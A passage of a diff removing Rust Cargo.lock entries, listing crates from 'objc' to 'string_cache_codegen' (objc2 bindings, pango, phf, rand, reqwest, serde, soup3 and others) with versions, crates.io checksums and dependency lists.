- "quote", - "syn 2.0.79", -] - -[[package]] -name = "objc" -version = "0.2.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" -dependencies = [ - "malloc_buf", -] - -[[package]] -name = "objc-sys" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cdb91bdd390c7ce1a8607f35f3ca7151b65afc0ff5ff3b34fa350f7d7c7e4310" -dependencies = [ - "cc", -] - -[[package]] -name = "objc2" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "46a785d4eeff09c14c487497c162e92766fbb3e4059a71840cecc03d9a50b804" -dependencies = [ - "objc-sys", - "objc2-encode", -] - -[[package]] -name = "objc2-app-kit" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e4e89ad9e3d7d297152b17d39ed92cd50ca8063a89a9fa569046d41568891eff" -dependencies = [ - "bitflags 2.6.0", - "block2", - "libc", - "objc2", - "objc2-core-data", - "objc2-core-image", - "objc2-foundation", - "objc2-quartz-core", -] - -[[package]] -name = "objc2-cloud-kit" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74dd3b56391c7a0596a295029734d3c1c5e7e510a4cb30245f8221ccea96b009" -dependencies = [ - "bitflags 2.6.0", - "block2", - "objc2", - "objc2-core-location", - "objc2-foundation", -] - -[[package]] -name = "objc2-contacts" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a5ff520e9c33812fd374d8deecef01d4a840e7b41862d849513de77e44aa4889" -dependencies = [ - "block2", - "objc2", - "objc2-foundation", -] - -[[package]] -name = "objc2-core-data" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "617fbf49e071c178c0b24c080767db52958f716d9eabdf0890523aeae54773ef" -dependencies = [ - "bitflags 2.6.0", - "block2", - "objc2", - "objc2-foundation", -] - -[[package]] -name = "objc2-core-image" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "55260963a527c99f1819c4f8e3b47fe04f9650694ef348ffd2227e8196d34c80" -dependencies = [ - "block2", - "objc2", - "objc2-foundation", - "objc2-metal", -] - -[[package]] -name = "objc2-core-location" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "000cfee34e683244f284252ee206a27953279d370e309649dc3ee317b37e5781" -dependencies = [ - "block2", - "objc2", - "objc2-contacts", - "objc2-foundation", -] - -[[package]] -name = "objc2-encode" -version = "4.0.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7891e71393cd1f227313c9379a26a584ff3d7e6e7159e988851f0934c993f0f8" - -[[package]] -name = "objc2-foundation" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ee638a5da3799329310ad4cfa62fbf045d5f56e3ef5ba4149e7452dcf89d5a8" -dependencies = [ - "bitflags 2.6.0", - "block2", - "libc", - "objc2", -] - -[[package]] -name = "objc2-link-presentation" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1a1ae721c5e35be65f01a03b6d2ac13a54cb4fa70d8a5da293d7b0020261398" -dependencies = [ - "block2", - "objc2", - "objc2-app-kit", - "objc2-foundation", -] - -[[package]] -name = "objc2-metal" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd0cba1276f6023976a406a14ffa85e1fdd19df6b0f737b063b95f6c8c7aadd6" -dependencies = [ - "bitflags 2.6.0", - "block2", - "objc2", - "objc2-foundation", -] - -[[package]] -name = "objc2-quartz-core" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e42bee7bff906b14b167da2bac5efe6b6a07e6f7c0a21a7308d40c960242dc7a" -dependencies = [ - "bitflags 2.6.0", - "block2", - "objc2", - "objc2-foundation", - "objc2-metal", -] - -[[package]] -name = "objc2-symbols" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0a684efe3dec1b305badae1a28f6555f6ddd3bb2c2267896782858d5a78404dc" -dependencies = [ - "objc2", - "objc2-foundation", -] - -[[package]] -name = "objc2-ui-kit" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8bb46798b20cd6b91cbd113524c490f1686f4c4e8f49502431415f3512e2b6f" -dependencies = [ - "bitflags 2.6.0", - "block2", - "objc2", - "objc2-cloud-kit", - "objc2-core-data", - "objc2-core-image", - "objc2-core-location", - "objc2-foundation", - "objc2-link-presentation", - "objc2-quartz-core", - "objc2-symbols", - "objc2-uniform-type-identifiers", - "objc2-user-notifications", -] - -[[package]] -name = "objc2-uniform-type-identifiers" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44fa5f9748dbfe1ca6c0b79ad20725a11eca7c2218bceb4b005cb1be26273bfe" -dependencies = [ - "block2", - "objc2", - "objc2-foundation", -] - -[[package]] -name = "objc2-user-notifications" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76cfcbf642358e8689af64cee815d139339f3ed8ad05103ed5eaf73db8d84cb3" -dependencies = [ - "bitflags 2.6.0", - "block2", - "objc2", - "objc2-core-location", - "objc2-foundation", -] - -[[package]] -name = "objc2-web-kit" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68bc69301064cebefc6c4c90ce9cba69225239e4b8ff99d445a2b5563797da65" -dependencies = [ - "bitflags 2.6.0", - "block2", - "objc2", - "objc2-app-kit", - "objc2-foundation", -] - -[[package]] -name = "object" -version = "0.36.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aedf0a2d09c573ed1d8d85b30c119153926a2b36dce0ab28322c09a117a4683e" -dependencies = [ - "memchr", -] - -[[package]] -name = "once_cell" -version = "1.20.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" - -[[package]] -name = "open" -version = "5.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "61a877bf6abd716642a53ef1b89fb498923a4afca5c754f9050b4d081c05c4b3" -dependencies = [ - "is-wsl", - "libc", - "pathdiff", -] - -[[package]] -name = "option-ext" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" - -[[package]] -name = "os_pipe" -version = "1.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ffd2b0a5634335b135d5728d84c5e0fd726954b87111f7506a61c502280d982" -dependencies = [ - "libc", - "windows-sys 0.59.0", -] - -[[package]] -name = "pango" -version = "0.18.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ca27ec1eb0457ab26f3036ea52229edbdb74dee1edd29063f5b9b010e7ebee4" -dependencies = [ - "gio", - "glib", - "libc", - "once_cell", - "pango-sys", -] - -[[package]] -name = "pango-sys" -version = "0.18.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5" -dependencies = [ - "glib-sys", - "gobject-sys", - "libc", - "system-deps", -] - -[[package]] -name = "parking_lot" -version = "0.12.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27" -dependencies = [ - "lock_api", - "parking_lot_core", -] - -[[package]] -name = "parking_lot_core" -version = "0.9.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8" -dependencies = [ - "cfg-if", - "libc", - "redox_syscall", - "smallvec", - "windows-targets 0.52.6", -] - -[[package]] -name = "pathdiff" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d61c5ce1153ab5b689d0c074c4e7fc613e942dfb7dd9eea5ab202d2ad91fe361" - -[[package]] -name = "percent-encoding" -version = "2.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" - -[[package]] -name = "phf" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12" -dependencies = [ - "phf_macros 0.8.0", - "phf_shared 0.8.0", - "proc-macro-hack", -] - -[[package]] -name = "phf" -version = "0.10.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" -dependencies = [ - "phf_shared 0.10.0", -] - -[[package]] -name = "phf" -version = "0.11.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc" -dependencies = [ - "phf_macros 0.11.2", - "phf_shared 0.11.2", -] - -[[package]] -name = "phf_codegen" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815" -dependencies = [ - "phf_generator 0.8.0", - "phf_shared 0.8.0", -] - -[[package]] -name = "phf_codegen" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd" -dependencies = [ - "phf_generator 0.10.0", - "phf_shared 0.10.0", -] - -[[package]] -name = "phf_generator" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526" -dependencies = [ - "phf_shared 0.8.0", - "rand 0.7.3", -] - -[[package]] -name = "phf_generator" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" -dependencies = [ - "phf_shared 0.10.0", - "rand 0.8.5", -] - -[[package]] -name = "phf_generator" -version = "0.11.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0" -dependencies = [ - "phf_shared 0.11.2", - "rand 0.8.5", -] - -[[package]] -name = "phf_macros" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f6fde18ff429ffc8fe78e2bf7f8b7a5a5a6e2a8b58bc5a9ac69198bbda9189c" -dependencies = [ - "phf_generator 0.8.0", - "phf_shared 0.8.0", - "proc-macro-hack", - "proc-macro2", - "quote", - "syn 1.0.109", -] - -[[package]] -name = "phf_macros" -version = "0.11.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b" -dependencies = [ - "phf_generator 0.11.2", - "phf_shared 0.11.2", - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "phf_shared" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7" -dependencies = [ - "siphasher", -] - -[[package]] -name = "phf_shared" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" -dependencies = [ - "siphasher", -] - -[[package]] -name = "phf_shared" -version = "0.11.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b" -dependencies = [ - "siphasher", -] - -[[package]] -name = "pin-project-lite" -version = "0.2.14" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02" - -[[package]] -name = "pin-utils" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" - -[[package]] -name = "pkg-config" -version = "0.3.31" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2" - -[[package]] -name = "plist" -version = "1.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "42cf17e9a1800f5f396bc67d193dc9411b59012a5876445ef450d449881e1016" -dependencies = [ - "base64 0.22.1", - "indexmap 2.6.0", - "quick-xml", - "serde", - "time", -] - -[[package]] -name = "png" -version = "0.17.14" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "52f9d46a34a05a6a57566bc2bfae066ef07585a6e3fa30fbbdff5936380623f0" -dependencies = [ - "bitflags 1.3.2", - "crc32fast", - "fdeflate", - "flate2", - "miniz_oxide", -] - -[[package]] -name = "powerfmt" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" - -[[package]] -name = "ppv-lite86" -version = "0.2.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04" -dependencies = [ - "zerocopy", -] - -[[package]] -name = "precomputed-hash" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" - -[[package]] -name = "proc-macro-crate" -version = "1.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" -dependencies = [ - "once_cell", - "toml_edit 0.19.15", -] - -[[package]] -name = "proc-macro-crate" -version = "2.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b00f26d3400549137f92511a46ac1cd8ce37cb5598a96d382381458b992a5d24" -dependencies = [ - "toml_datetime", - "toml_edit 0.20.2", -] - -[[package]] -name = "proc-macro-error" -version = "1.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" -dependencies = [ - "proc-macro-error-attr", - "proc-macro2", - "quote", - "syn 1.0.109", - "version_check", -] - -[[package]] -name = "proc-macro-error-attr" -version = "1.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" -dependencies = [ - "proc-macro2", - "quote", - "version_check", -] - -[[package]] -name = "proc-macro-hack" -version = "0.5.20+deprecated" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" - -[[package]] -name = "proc-macro2" -version = "1.0.88" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c3a7fc5db1e57d5a779a352c8cdb57b29aa4c40cc69c3a68a7fedc815fbf2f9" -dependencies = [ - "unicode-ident", -] - -[[package]] -name = "quick-xml" -version = "0.32.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d3a6e5838b60e0e8fa7a43f22ade549a37d61f8bdbe636d0d7816191de969c2" -dependencies = [ - "memchr", -] - -[[package]] -name = "quote" -version = "1.0.37" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af" -dependencies = [ - "proc-macro2", -] - -[[package]] -name = "rand" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" -dependencies = [ - "getrandom 0.1.16", - "libc", - "rand_chacha 0.2.2", - "rand_core 0.5.1", - "rand_hc", - "rand_pcg", -] - -[[package]] -name = "rand" -version = "0.8.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" -dependencies = [ - "libc", - "rand_chacha 0.3.1", - "rand_core 0.6.4", -] - -[[package]] -name = "rand_chacha" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" -dependencies = [ - "ppv-lite86", - "rand_core 0.5.1", -] - -[[package]] -name = "rand_chacha" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" -dependencies = [ - "ppv-lite86", - "rand_core 0.6.4", -] - -[[package]] -name = "rand_core" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" -dependencies = [ - "getrandom 0.1.16", -] - -[[package]] -name = "rand_core" -version = "0.6.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" -dependencies = [ - "getrandom 0.2.15", -] - -[[package]] -name = "rand_hc" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" -dependencies = [ - "rand_core 0.5.1", -] - -[[package]] -name = "rand_pcg" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" -dependencies = [ - "rand_core 0.5.1", -] - -[[package]] -name = "raw-window-handle" -version = "0.6.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "20675572f6f24e9e76ef639bc5552774ed45f1c30e2951e1e99c59888861c539" - -[[package]] -name = "redox_syscall" -version = "0.5.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b6dfecf2c74bce2466cabf93f6664d6998a69eb21e39f4207930065b27b771f" -dependencies = [ - "bitflags 2.6.0", -] - -[[package]] -name = "redox_users" -version = "0.4.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ba009ff324d1fc1b900bd1fdb31564febe58a8ccc8a6fdbb93b543d33b13ca43" -dependencies = [ - "getrandom 0.2.15", - "libredox", - "thiserror", -] - -[[package]] -name = "regex" -version = "1.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38200e5ee88914975b69f657f0801b6f6dccafd44fd9326302a4aaeecfacb1d8" -dependencies = [ - "aho-corasick", - "memchr", - "regex-automata", - "regex-syntax", -] - -[[package]] -name = "regex-automata" -version = "0.4.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "368758f23274712b504848e9d5a6f010445cc8b87a7cdb4d7cbee666c1288da3" -dependencies = [ - "aho-corasick", - "memchr", - "regex-syntax", -] - -[[package]] -name = "regex-syntax" -version = "0.8.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" - -[[package]] -name = "reqwest" -version = "0.12.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f713147fbe92361e52392c73b8c9e48c04c6625bce969ef54dc901e58e042a7b" -dependencies = [ - "base64 0.22.1", - "bytes", - "futures-core", - "futures-util", - "http", - "http-body", - "http-body-util", - "hyper", - "hyper-util", - "ipnet", - "js-sys", - "log", - "mime", - "once_cell", - "percent-encoding", - "pin-project-lite", - "serde", - "serde_json", - "serde_urlencoded", - "sync_wrapper", - "tokio", - "tokio-util", - "tower-service", - "url", - "wasm-bindgen", - "wasm-bindgen-futures", - "wasm-streams", - "web-sys", - "windows-registry", -] - -[[package]] -name = "rustc-demangle" -version = "0.1.24" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f" - -[[package]] -name = "rustc_version" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" -dependencies = [ - "semver", -] - -[[package]] -name = "ryu" -version = "1.0.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f" - -[[package]] -name = "same-file" -version = "1.0.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" -dependencies = [ - "winapi-util", -] - -[[package]] -name = "schemars" -version = "0.8.21" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09c024468a378b7e36765cd36702b7a90cc3cba11654f6685c8f233408e89e92" -dependencies = [ - "dyn-clone", - "indexmap 1.9.3", - "schemars_derive", - "serde", - "serde_json", - "url", - "uuid", -] - -[[package]] -name = "schemars_derive" -version = "0.8.21" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1eee588578aff73f856ab961cd2f79e36bc45d7ded33a7562adba4667aecc0e" -dependencies = [ - "proc-macro2", - "quote", - "serde_derive_internals", - "syn 2.0.79", -] - -[[package]] -name = "scopeguard" -version = "1.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" - -[[package]] -name = "selectors" -version = "0.22.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "df320f1889ac4ba6bc0cdc9c9af7af4bd64bb927bccdf32d81140dc1f9be12fe" -dependencies = [ - "bitflags 1.3.2", - "cssparser", - "derive_more", - "fxhash", - "log", - "matches", - "phf 0.8.0", - "phf_codegen 0.8.0", - "precomputed-hash", - "servo_arc", - "smallvec", - "thin-slice", -] - -[[package]] -name = "semver" -version = "1.0.23" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b" -dependencies = [ - "serde", -] - -[[package]] -name = "serde" -version = "1.0.210" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c8e3592472072e6e22e0a54d5904d9febf8508f65fb8552499a1abc7d1078c3a" -dependencies = [ - "serde_derive", -] - -[[package]] -name = "serde-untagged" -version = "0.1.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2676ba99bd82f75cae5cbd2c8eda6fa0b8760f18978ea840e980dd5567b5c5b6" -dependencies = [ - "erased-serde", - "serde", - "typeid", -] - -[[package]] -name = "serde_derive" -version = "1.0.210" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "serde_derive_internals" -version = "0.29.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "18d26a20a969b9e3fdf2fc2d9f21eda6c40e2de84c9408bb5d3b05d499aae711" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "serde_json" -version = "1.0.128" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ff5456707a1de34e7e37f2a6fd3d3f808c318259cbd01ab6377795054b483d8" -dependencies = [ - "itoa 1.0.11", - "memchr", - "ryu", - "serde", -] - -[[package]] -name = "serde_repr" -version = "0.1.19" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6c64451ba24fc7a6a2d60fc75dd9c83c90903b19028d4eff35e88fc1e86564e9" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "serde_spanned" -version = "0.6.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87607cb1398ed59d48732e575a4c28a7a8ebf2454b964fe3f224f2afc07909e1" -dependencies = [ - "serde", -] - -[[package]] -name = "serde_urlencoded" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" -dependencies = [ - "form_urlencoded", - "itoa 1.0.11", - "ryu", - "serde", -] - -[[package]] -name = "serde_with" -version = "3.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e28bdad6db2b8340e449f7108f020b3b092e8583a9e3fb82713e1d4e71fe817" -dependencies = [ - "base64 0.22.1", - "chrono", - "hex", - "indexmap 1.9.3", - "indexmap 2.6.0", - "serde", - "serde_derive", - "serde_json", - "serde_with_macros", - "time", -] - -[[package]] -name = "serde_with_macros" -version = "3.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d846214a9854ef724f3da161b426242d8de7c1fc7de2f89bb1efcb154dca79d" -dependencies = [ - "darling", - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "serialize-to-javascript" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c9823f2d3b6a81d98228151fdeaf848206a7855a7a042bbf9bf870449a66cafb" -dependencies = [ - "serde", - "serde_json", - "serialize-to-javascript-impl", -] - -[[package]] -name = "serialize-to-javascript-impl" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74064874e9f6a15f04c1f3cb627902d0e6b410abbf36668afa873c61889f1763" -dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", -] - -[[package]] -name = "servo_arc" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d98238b800e0d1576d8b6e3de32827c2d74bee68bb97748dcf5071fb53965432" -dependencies = [ - "nodrop", - "stable_deref_trait", -] - -[[package]] -name = "sha2" -version = "0.10.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" -dependencies = [ - "cfg-if", - "cpufeatures", - "digest", -] - -[[package]] -name = "shared_child" -version = "1.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09fa9338aed9a1df411814a5b2252f7cd206c55ae9bf2fa763f8de84603aa60c" -dependencies = [ - "libc", - "windows-sys 0.59.0", -] - -[[package]] -name = "shlex" -version = "1.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" - -[[package]] -name = "simd-adler32" -version = "0.3.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" - -[[package]] -name = "siphasher" -version = "0.3.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" - -[[package]] -name = "slab" -version = "0.4.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" -dependencies = [ - "autocfg", -] - -[[package]] -name = "smallvec" -version = "1.13.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67" - -[[package]] -name = "socket2" -version = "0.5.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce305eb0b4296696835b71df73eb912e0f1ffd2556a501fcede6e0c50349191c" -dependencies = [ - "libc", - "windows-sys 0.52.0", -] - -[[package]] -name = "softbuffer" -version = "0.4.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "18051cdd562e792cad055119e0cdb2cfc137e44e3987532e0f9659a77931bb08" -dependencies = [ - "bytemuck", - "cfg_aliases", - "core-graphics", - "foreign-types", - "js-sys", - "log", - "objc2", - "objc2-foundation", - "objc2-quartz-core", - "raw-window-handle", - "redox_syscall", - "wasm-bindgen", - "web-sys", - "windows-sys 0.59.0", -] - -[[package]] -name = "soup3" -version = "0.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "471f924a40f31251afc77450e781cb26d55c0b650842efafc9c6cbd2f7cc4f9f" -dependencies = [ - "futures-channel", - "gio", - "glib", - "libc", - "soup3-sys", -] - -[[package]] -name = "soup3-sys" -version = "0.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ebe8950a680a12f24f15ebe1bf70db7af98ad242d9db43596ad3108aab86c27" -dependencies = [ - "gio-sys", - "glib-sys", - "gobject-sys", - "libc", - "system-deps", -] - -[[package]] -name = "stable_deref_trait" -version = "1.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" - -[[package]] -name = "string_cache" -version = "0.8.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f91138e76242f575eb1d3b38b4f1362f10d3a43f47d182a5b359af488a02293b" -dependencies = [ - "new_debug_unreachable", - "once_cell", - "parking_lot", - "phf_shared 0.10.0", - "precomputed-hash", - "serde", -] - -[[package]] -name = "string_cache_codegen" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988" -dependencies = [ - "phf_generator 